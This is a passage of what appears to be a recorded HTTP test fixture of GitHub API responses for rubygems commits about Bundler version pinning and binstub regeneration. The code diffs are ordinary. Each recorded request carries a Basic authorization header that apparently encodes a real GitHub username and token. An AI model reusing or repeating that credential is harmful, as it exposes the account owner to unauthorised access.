v1\n\niQIcBAABAgAGBQJZmMJtAAoJEAEZW7MV3ahWC/sP/Av0CF+SN/C/yqJFotmtSgwU\n9otcK5tSWP364QLVF40co1YFv7fFKFSjnS5BsF3KDt7IoOypKkVDzbh3MOIx4YrL\nhGVUEqajM21RPTd03E+ligo5h1/A4E4RgJH8VX7ioLHM2zsNNK7SxxISimNkcGGn\nKIc2bcHPNskq/tn7pia56drHBGbnHtjVfAOOp5siIh3tfzwuVcmXNQ9t9zYx2x9O\niM39Wd1JWJYE9rZa07iqgJrMIWL4abbWO7pxYqx5xA1Hu6ZmDHNeG6tK9xl+mmQo\n63yCrywQ38jm4quWyP45rYOtARyu6xDqyIWlZHbnJOh9uNR1fYydHp26+Ll3hJ3a\nPhHl3q8Y8O0fvD8LVYHEzg1i0h/d61fnnAqS3pLkG/XWKPieAJ5g/mClwhvMG2tc\nBW1Ldxl7t/TIVg7CpTts2QKPffgMHl592Pfusm8H6/xtGbm3h99vtnM6GgzhluGp\n+4XTAHWuZzDImKJJeIWyDd6g3qmnJNEIP/TqwYgbrLAkxNrgkTH5EzS9ABmLHDHL\n6rIXGaVckZ9oFTH0PD3GIqMTXnYn60pyTI62RY0soLsaE5cV6TUuPKbPUGzqbj2/\n6np90v6qagclVT6w0kmyL4IqEgwT3Xbzfxf6bXp8PwJcPp2F66MFG8fBFscdo2nP\nPGaBNCyj4BMyg879R1m7\n=DttA\n-----END PGP SIGNATURE-----","payload":"tree 47c42524a467c59bc45cc8fb0c053d44e9ecfb1a\nparent 909b5fb81038d731149da802beaadab2103512f2\nauthor Samuel Giddins 1503183469 -0400\ncommitter Samuel Giddins 1503183469 -0400\n\nOnly pin to major version for locked bundler < 2\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/6632c4278e02dab66243a7be61621cb3fe4b1601","html_url":"https://github.com/rubygems/rubygems/commit/6632c4278e02dab66243a7be61621cb3fe4b1601","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/6632c4278e02dab66243a7be61621cb3fe4b1601/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"909b5fb81038d731149da802beaadab2103512f2","url":"https://api.github.com/repos/rubygems/rubygems/commits/909b5fb81038d731149da802beaadab2103512f2","html_url":"https://github.com/rubygems/rubygems/commit/909b5fb81038d731149da802beaadab2103512f2"}],"stats":{"total":39,"additions":32,"deletions":7},"files":[{"sha":"217cddaaeec3ed97152752c0a7d4a8719e70b3fb","filename":"lib/rubygems/bundler_version_finder.rb","status":"modified","additions":10,"deletions":2,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/6632c4278e02dab66243a7be61621cb3fe4b1601/lib/rubygems/bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/6632c4278e02dab66243a7be61621cb3fe4b1601/lib/rubygems/bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/bundler_version_finder.rb?ref=6632c4278e02dab66243a7be61621cb3fe4b1601","patch":"@@ -33,12 +33,20 @@ def self.missing_version_message\n def self.compatible?(spec)\n return true unless spec.name == \"bundler\".freeze\n return true unless bundler_version = self.bundler_version\n- spec.version == bundler_version\n+ if bundler_version.segments.first >= 2\n+ spec.version == bundler_version\n+ else # 1.x\n+ spec.version.segments.first < 2\n+ end\n end\n \n def self.filter!(specs)\n return unless bundler_version = self.bundler_version\n- specs.reject! { |spec| spec.version != bundler_version }\n+ if bundler_version.segments.first >= 2\n+ specs.reject! { |spec| spec.version != bundler_version }\n+ else # 1.x\n+ specs.reject! { |spec| spec.version.segments.first >= 2}\n+ end\n end\n \n def self.bundle_update_bundler_version"},{"sha":"fff52e81866f5c58b55f7cb1cac64d70b56c82dc","filename":"test/rubygems/test_gem_bundler_version_finder.rb","status":"modified","additions":22,"deletions":5,"changes":27,"blob_url":"https://github.com/rubygems/rubygems/blob/6632c4278e02dab66243a7be61621cb3fe4b1601/test/rubygems/test_gem_bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/6632c4278e02dab66243a7be61621cb3fe4b1601/test/rubygems/test_gem_bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_bundler_version_finder.rb?ref=6632c4278e02dab66243a7be61621cb3fe4b1601","patch":"@@ -80,24 +80,41 @@ def test_compatible\n bvf.stub(:bundler_version, v(\"1.1.1.1\")) do\n assert bvf.compatible?(util_spec(\"foo\"))\n assert bvf.compatible?(util_spec(\"bundler\", \"1.1.1.1\"))\n- refute bvf.compatible?(util_spec(\"bundler\", \"1.1.1.a\"))\n+ assert bvf.compatible?(util_spec(\"bundler\", \"1.1.1.a\"))\n+ assert bvf.compatible?(util_spec(\"bundler\", \"1.999\"))\n+ refute bvf.compatible?(util_spec(\"bundler\", \"2.999\"))\n+ end\n+\n+ bvf.stub(:bundler_version, v(\"2.1.1.1\")) do\n+ assert bvf.compatible?(util_spec(\"foo\"))\n+ assert bvf.compatible?(util_spec(\"bundler\", \"2.1.1.1\"))\n+ refute bvf.compatible?(util_spec(\"bundler\", \"2.1.1.a\"))\n+ refute bvf.compatible?(util_spec(\"bundler\", \"1.999\"))\n+ refute bvf.compatible?(util_spec(\"bundler\", \"2.999\"))\n end\n end\n \n def test_filter\n- specs = [util_spec(\"bundler\", \"1\"), util_spec(\"bundler\", \"1.0\"), util_spec(\"bundler\", \"1.0.1.1\"), util_spec(\"bundler\", \"2.a\")]\n+ versions = %w[1 1.0 1.0.1.1 2.a 3 3.0]\n+ specs = versions.map { |v| util_spec(\"bundler\", v) }\n \n- assert_equal %w[1 1.0 1.0.1.1 2.a], util_filter_specs(specs).map(&:version).map(&:to_s)\n+ assert_equal %w[1 1.0 1.0.1.1 2.a 3 3.0], util_filter_specs(specs).map(&:version).map(&:to_s)\n \n+ bvf.stub(:bundler_version, v(\"2.1.1.1\")) do\n+ assert_empty util_filter_specs(specs).map(&:version).map(&:to_s)\n+ end\n bvf.stub(:bundler_version, v(\"1.1.1.1\")) do\n- assert_empty util_filter_specs(specs)\n+ assert_equal %w[1 1.0 1.0.1.1], util_filter_specs(specs).map(&:version).map(&:to_s)\n end\n bvf.stub(:bundler_version, v(\"1\")) do\n- assert_equal %w[1 1.0], util_filter_specs(specs).map(&:version).map(&:to_s)\n+ assert_equal %w[1 1.0 1.0.1.1], util_filter_specs(specs).map(&:version).map(&:to_s)\n end\n bvf.stub(:bundler_version, v(\"2.a\")) do\n assert_equal %w[2.a], util_filter_specs(specs).map(&:version).map(&:to_s)\n end\n+ bvf.stub(:bundler_version, v(\"3\")) do\n+ assert_equal %w[3 3.0], util_filter_specs(specs).map(&:version).map(&:to_s)\n+ end\n end\n \n def util_filter_specs(specs)"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:18 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/909b5fb81038d731149da802beaadab2103512f2 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:18 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4375' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"476ab3810c3ed5d42b035daa32d61a13" Last-Modified: - Sat, 19 Aug 2017 22:45:07 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.047071' X-Github-Request-Id: - A342:4D97:903D07:1C48902:5A50E482 body: encoding: ASCII-8BIT string: '{"sha":"909b5fb81038d731149da802beaadab2103512f2","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-19T22:45:07Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-19T22:45:07Z"},"message":"[Setup] Regenerate binstubs","tree":{"sha":"91dd89992bab4072ef7b96a9f82d92d5c5774dd7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/91dd89992bab4072ef7b96a9f82d92d5c5774dd7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/909b5fb81038d731149da802beaadab2103512f2","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZmL9zAAoJEAEZW7MV3ahW60cP/0rTOZf67RWh+8j8TyLJkbHg\n0igP/erNaEwXeg5kYTcntdr4yhMrM1jdWTwPjiVimwVOY8qhKHY9J4CiWfZNXIeE\n9M1wBLtWmDAOMHw8770MfCzf/509ZgnHOthvMQLoGrO/FJydmlOUx7Vrn6K7b+h2\nAtp/w8FTHgoUAOqEE2dJr3767DrOv1jLtYX5YEIHa+fjUbXt51jRFNYqp13QolWe\nJhmPnd9Hd235NlXZRkWONPWDiQTaEMUfobdp7G/Wc1dEgSKRzEoMhoFbv+OjbMfy\nBSi64erSPToIUvSTjPVr9N78BWX9IpnjifJ13vs6wCGyaheisDfCxkhosYe1edEV\nWnKBrFfVhfmAhjhgpX+z+G41IHLRyRQOvVv3giegVLnXQU4hSsjAmKS+exhwQROD\noTzvA++Mz52/YnjidMvqozjZtLmke74/Ib/NgswpYHiPYv7gNWxIzzYivbLJKHaX\nAES7pYRyy4pX49ogdk7ehTxdAjOV3VMqlo14vEhRlGi1SEsAO+9sjK0+xq4Uc9XZ\nTxmFUc8O6R4J8FbnItrNXaz80K1w61bOQXm87vyo81AIN6s0BkOtPgrFhdtiqu2s\nPU4+DvH4gTbJA9uFcTVvrauPaZGH3TFs8++7whl8xyx+0nkGWt7PrMoPdoJDZXxC\nHYiuAkgSPTwJTte776Q3\n=PHtc\n-----END PGP SIGNATURE-----","payload":"tree 91dd89992bab4072ef7b96a9f82d92d5c5774dd7\nparent f88360170f0723ecee7574e26234c0905610d792\nauthor Samuel Giddins 1503182707 -0400\ncommitter Samuel Giddins 1503182707 -0400\n\n[Setup] Regenerate binstubs\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/909b5fb81038d731149da802beaadab2103512f2","html_url":"https://github.com/rubygems/rubygems/commit/909b5fb81038d731149da802beaadab2103512f2","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/909b5fb81038d731149da802beaadab2103512f2/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"f88360170f0723ecee7574e26234c0905610d792","url":"https://api.github.com/repos/rubygems/rubygems/commits/f88360170f0723ecee7574e26234c0905610d792","html_url":"https://github.com/rubygems/rubygems/commit/f88360170f0723ecee7574e26234c0905610d792"}],"stats":{"total":22,"additions":20,"deletions":2},"files":[{"sha":"b9292f3f7c0168bd62930078e1204411233cd993","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":20,"deletions":2,"changes":22,"blob_url":"https://github.com/rubygems/rubygems/blob/909b5fb81038d731149da802beaadab2103512f2/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/909b5fb81038d731149da802beaadab2103512f2/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=909b5fb81038d731149da802beaadab2103512f2","patch":"@@ -15,7 +15,8 @@ def initialize\n super ''setup'', ''Install RubyGems'',\n :format_executable => true, :document => %w[ri],\n :site_or_vendor => ''sitelibdir'',\n- :destdir => '''', :prefix => '''', :previous_version => ''''\n+ :destdir => '''', :prefix => '''', :previous_version => '''',\n+ :regenerate_binstubs => true\n \n add_option ''--previous-version=VERSION'',\n ''Previous version of RubyGems'',\n@@ -79,6 +80,15 @@ def initialize\n options[:document].uniq!\n end\n \n+ add_option ''--[no-]regenerate-binstubs'',\n+ ''Regenerate gem binstubs'' do |value, options|\n+ if value then\n+ options[:regenerate_binstubs] = true\n+ else\n+ options.delete(:regenerate_binstubs)\n+ end\n+ end\n+\n @verbose = nil\n end\n \n@@ -92,7 +102,7 @@ def check_ruby_version\n end\n \n def defaults_str # :nodoc:\n- \"--format-executable --document ri\"\n+ \"--format-executable --document ri --regenerate-binstubs\"\n end\n \n def description # :nodoc:\n@@ -146,6 +156,8 @@ def execute\n \n say \"RubyGems #{Gem::VERSION} installed\"\n \n+ regenerate_binstubs\n+\n uninstall_old_gemcutter\n \n documentation_success = install_rdoc\n@@ -520,4 +532,10 @@ def uninstall_old_gemcutter\n rescue Gem::InstallError\n end\n \n+ def regenerate_binstubs\n+ command = Gem::Commands::PristineCommand.new\n+ command.handle_options %w[--all --only-executables]\n+ command.execute\n+ end\n+\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:18 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/f88360170f0723ecee7574e26234c0905610d792 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:18 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4374' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5ff14c103fbba302c4480281f215a133" Last-Modified: - Sat, 19 Aug 2017 22:29:46 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.066386' X-Github-Request-Id: - A344:4D96:971D93:13A47EB:5A50E482 body: encoding: ASCII-8BIT string: '{"sha":"f88360170f0723ecee7574e26234c0905610d792","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-07-31T19:02:46Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-19T22:29:46Z"},"message":"Support `bundle update --bundler VERSION`","tree":{"sha":"5fa5d8f7b472e7a6b82fd248bd5c44ed32365787","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5fa5d8f7b472e7a6b82fd248bd5c44ed32365787"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f88360170f0723ecee7574e26234c0905610d792","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZmLvaAAoJEAEZW7MV3ahWD8YP/3dMV4hVwlRnkwaXzcaWq9iB\nGAvR4P+XnC5tzZwzC2TYOLIoAOlI4Mh0to/+sb8cOccNrqUznvOZMDr16P/Hatm0\nRdDo1FwkYjhbNj7zP9BDuSvRxlce5WKDmnZ6va3TZbwm1mI3H+3vqn3hVijreZ18\n3QqjbVdLVBnDjzoi9vbOWd6C1LL5m6U1zTJzy9rxikfuCbWvEX04aEkil1bmLKIA\nSOcGl21bDL7FzGbtRTFKGckT23niM3SvuH4nA/1DiGbhx33QL6Jyrzj89zPLRWt5\nHnSbaqUkPc7sstSZ5zX02+9JQzQTa1eoVLxQRSl5jrAz2eqkG95xbv1fcHdB318+\nVFkGXjpIuL+M06ncdCKIz2UYuBTcvTQdJZ0f7wKwkCJ8Rh0npJ+9CQZFq6rP5pKn\n6u0Cid0/BsRBYSlyle9NMMukgF3njX2cJpOwPYOYvWafPqcv04Q+BYFJrFbG4qOl\nRr7OcsUP63WeWHW91kRZWiSzBURbhwAD36hyTWzrcT/elfFB/MdWf3CyI4Gt0Mxm\nKOQsx3Y8NfHjgFRYttJqLsqSC1McBs6T9Furf3Q/EH/DwqV1uIrQJM4oHVs/CCcS\nwrBpbVRzrV1kIm8FjD0QUP1gT8S3Wdna56KBifabcElwK3huDZBSom8ygN2uEboz\nhuM+1KZoES10XgMeIF3M\n=Dtud\n-----END PGP SIGNATURE-----","payload":"tree 5fa5d8f7b472e7a6b82fd248bd5c44ed32365787\nparent 697f5a2b3f951ebfe701fd30b159b2f7b89a9a92\nauthor Samuel Giddins 1501527766 -0500\ncommitter Samuel Giddins 1503181786 -0400\n\nSupport `bundle update --bundler VERSION`\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f88360170f0723ecee7574e26234c0905610d792","html_url":"https://github.com/rubygems/rubygems/commit/f88360170f0723ecee7574e26234c0905610d792","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f88360170f0723ecee7574e26234c0905610d792/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"697f5a2b3f951ebfe701fd30b159b2f7b89a9a92","url":"https://api.github.com/repos/rubygems/rubygems/commits/697f5a2b3f951ebfe701fd30b159b2f7b89a9a92","html_url":"https://github.com/rubygems/rubygems/commit/697f5a2b3f951ebfe701fd30b159b2f7b89a9a92"}],"stats":{"total":22,"additions":17,"deletions":5},"files":[{"sha":"60812714d57dc12773c0cc8110d818b3e8c532fc","filename":"lib/rubygems/bundler_version_finder.rb","status":"modified","additions":10,"deletions":4,"changes":14,"blob_url":"https://github.com/rubygems/rubygems/blob/f88360170f0723ecee7574e26234c0905610d792/lib/rubygems/bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f88360170f0723ecee7574e26234c0905610d792/lib/rubygems/bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/bundler_version_finder.rb?ref=f88360170f0723ecee7574e26234c0905610d792","patch":"@@ -44,11 +44,17 @@ def self.filter!(specs)\n def self.bundle_update_bundler_version\n return unless File.basename($0) == \"bundle\".freeze\n return unless \"update\".start_with?(ARGV.first || \" \")\n- ARGV.each do |a|\n- next unless a =~ /\\A--bundler(?:=(#{Gem::Version::VERSION_PATTERN}))?\\z/\n- return $1 || true\n+ bundler_version = nil\n+ update_index = nil\n+ ARGV.each_with_index do |a, i|\n+ if update_index && update_index.succ == i && a =~ Gem::Version::ANCHORED_VERSION_PATTERN\n+ bundler_version = a\n+ end\n+ next unless a =~ /\\A--bundler(?:[= ](#{Gem::Version::VERSION_PATTERN}))?\\z/\n+ bundler_version = $1 || true\n+ update_index = i\n end\n- nil\n+ bundler_version\n end\n private_class_method :bundle_update_bundler_version\n "},{"sha":"a33fa8de0f4b3a039218e7e5fdf4015f7173446d","filename":"test/rubygems/test_gem_bundler_version_finder.rb","status":"modified","additions":7,"deletions":1,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/f88360170f0723ecee7574e26234c0905610d792/test/rubygems/test_gem_bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f88360170f0723ecee7574e26234c0905610d792/test/rubygems/test_gem_bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_bundler_version_finder.rb?ref=f88360170f0723ecee7574e26234c0905610d792","patch":"@@ -33,7 +33,13 @@ def test_bundler_version_with_bundle_update_bundler\n assert_nil bvf.bundler_version\n $0 = \"/foo/bar/bundle\"\n assert_nil bvf.bundler_version\n- ARGV.replace %w[update --bundler=1.1.1.1]\n+ ARGV.replace %w[update --bundler=1.1.1.1 gem_name]\n+ assert_equal v(\"1.1.1.1\"), bvf.bundler_version\n+ ARGV.replace %w[update --bundler 1.1.1.1 gem_name]\n+ assert_equal v(\"1.1.1.1\"), bvf.bundler_version\n+ ARGV.replace %w[update --bundler\\ 1.1.1.1 gem_name]\n+ assert_equal v(\"1.1.1.1\"), bvf.bundler_version\n+ ARGV.replace %w[update --bundler\\ 1.1.1.2 --bundler --bundler 1.1.1.1 gem_name]\n assert_equal v(\"1.1.1.1\"), bvf.bundler_version\n $0 = \"other\"\n assert_nil bvf.bundler_version"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:18 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/697f5a2b3f951ebfe701fd30b159b2f7b89a9a92 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:18 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4373' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"6f64f54c473962faeb14ff50ddff0ace" Last-Modified: - Sat, 19 Aug 2017 22:29:46 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.057944' X-Github-Request-Id: - C616:4D94:4F0329:B30AD3:5A50E482 body: encoding: ASCII-8BIT string: '{"sha":"697f5a2b3f951ebfe701fd30b159b2f7b89a9a92","commit":{"author":{"name":"Andre Arko","email":"andre@arko.net","date":"2017-07-30T03:35:40Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-19T22:29:46Z"},"message":"set the homepage so that the gem can build","tree":{"sha":"f4fd7fbb0fb7aaf1fef68ec73393fa8125b19531","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f4fd7fbb0fb7aaf1fef68ec73393fa8125b19531"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/697f5a2b3f951ebfe701fd30b159b2f7b89a9a92","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZmLvaAAoJEAEZW7MV3ahWh38P/37IvRyFLPY/e9bxUBFuxkyW\njkSScHhktvOIXRp+IeDhrrjKUse5RRQ68Z+rbiAUnDDLsN/MyXFuG01yjY6DliXE\nSzVWh52trx/J6BMxrVmrikYqidD01aI95oDYbrFw2tUmwDVi7fR761tug7Dib8ql\nrWnJaPzoJTyVxyTYfpIvVhI3JUXjsLerIZ1LgHE3ktWJtmbIFgqGXZGa6R7TuD45\ne0X5M+dXG+bUZjwq2Tp8S/Zp0gndJxFAxcxbkR7mTEsbxt2KjmzpIOz9/FNfRKIl\nJcDzGQwXbRxq8LJqNvhS9kuaprDAkgLoPv7QsHU4lPetKsvM6HAtIdQHCVSl0NbD\nKtR6WkAUmbkFdF6ATVuxx5f0ERclXs4N6efRjgB6yrArzT/d8zPoG83nPeRpOM5R\nDFYDTvuDfzTMb22dkDhaDu6UVuMVzSITbB3gJF+WlL4ErVAEKyvGs8+RuPtVWojt\nlbT4jrspc2LOLIqzvYxejcS6PWwbAzuoyyGrE1V5DCHTvqFFpun4O3k5YkH95Ht+\nJF11gnsp1RZ8XYdQipHxnn8fUdTytKKsKHo5FeWo4bFQJDwkE+Ic6WvsO5/5pXKA\njVh67tnOO/icKJgp8QcFc3lcrw3GaShgvfYS4iO67hQOhmiT7WJ4T10p0luD8H4A\nM/qqeMlNTaWjUOsZOTys\n=Icld\n-----END PGP SIGNATURE-----","payload":"tree f4fd7fbb0fb7aaf1fef68ec73393fa8125b19531\nparent 